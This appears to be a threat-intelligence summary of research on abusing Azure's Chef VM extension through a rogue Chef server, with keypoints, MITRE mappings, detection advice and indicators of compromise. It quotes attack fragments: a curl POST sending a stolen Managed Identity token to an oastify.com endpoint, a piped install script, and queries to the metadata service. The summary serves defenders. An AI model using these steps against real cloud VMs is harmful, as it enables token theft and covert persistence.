The article explains how an attacker can abuse legitimate Azure third-party VM extensions, specifically Chef, to achieve undetected code execution and maintain access on Windows or Linux virtual machines. It demonstrates a rogue Chef server attack that uses a malicious cookbook to steal the VM’s Managed Identity token and exfiltrate it to an out-of-band endpoint. #Chef #Azure #ManagedIdentity #chef-zero #oastify
Keypoints
- Third-party Azure VM extensions can be abused for code execution because they may blend in with normal administrative activity.
- The attack requires Microsoft.Compute/virtualMachines/extensions/write permission, which is available to several built-in Azure roles.
- A rogue Chef server can be stood up using options such as Chef hosted trial, self-hosted Chef Server, or chef-zero.
- A malicious Chef cookbook can run commands on the target VM and retrieve the Managed Identity OAuth token from the Azure instance metadata service.
- The attacker can exfiltrate the stolen token to an out-of-band endpoint such as an OAST service for validation.
- Detection should focus on Azure Activity Log entries for VM extension writes and on host logs that reveal the Chef server URL and executed recipe.
- On sensitive systems like domain controllers, a principal with these permissions may effectively gain domain-administrator-level control.
MITRE Techniques
- [T1059 ] Command and Scripting Interpreter – The malicious cookbook executes shell or PowerShell commands to run the payload and query the metadata service (‘execute curl … | curl …’ and ‘powershell.exe /c …’).
- [T1105 ] Ingress Tool Transfer – The attack pulls and installs Chef tooling and uses external services to retrieve resources and send stolen data (‘Download the Debian/Ubuntu package …’ and ‘curl … install.sh | sudo bash’).
- [T1021 ] Remote Services – The rogue Chef server is used to manage and control the VM remotely through the Chef extension (‘configure them in a way to achieve arbitrary code execution … and maintain remote access’).
- [T1567 ] Exfiltration to Cloud Storage / Web Service – The stolen Managed Identity token is sent out to an external web endpoint for collection (‘curl … -X POST … https://ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com’).
Indicators of Compromise
- [Domain/URL ] Exfiltration endpoint used by the malicious cookbook – ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com, https://ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com
- [IP address ] Rogue Chef server / attack host referenced in logs and examples – 13.60.214.35, 169.254.169.254
- [File path ] Linux Chef extension and log locations – /var/log/azure/Chef.Bootstrap.WindowsAzure.LinuxChefClient/chef-client.log, /var/lib/waagent/Chef.Bootstrap.WindowsAzure.LinuxChefClient-1210.14.1.2/config/0.settings
- [File path ] Windows Chef extension and log locations – C:WindowsAzureLogsPluginsChef.Bootstrap.WindowsAzure.ChefClient1210.14.1.2chef-client.log, C:chef.settings
- [File name ] Malicious cookbook files created for the attack – default.rb, metadata.rb, protected.json
- [Hash ] Chef Workstation package metadata used during installation – f6bb5ee20d1de5a120bde6add0d4a22c7349fb23, 605ed97f53353ac1fb77e89973761c1aad0a327e8399d7aad2cf1bb5ab334165
- [Command/Artifact ] Chef extension and cookbook identifiers visible in logs – ChefClient, LinuxChefClient, netspi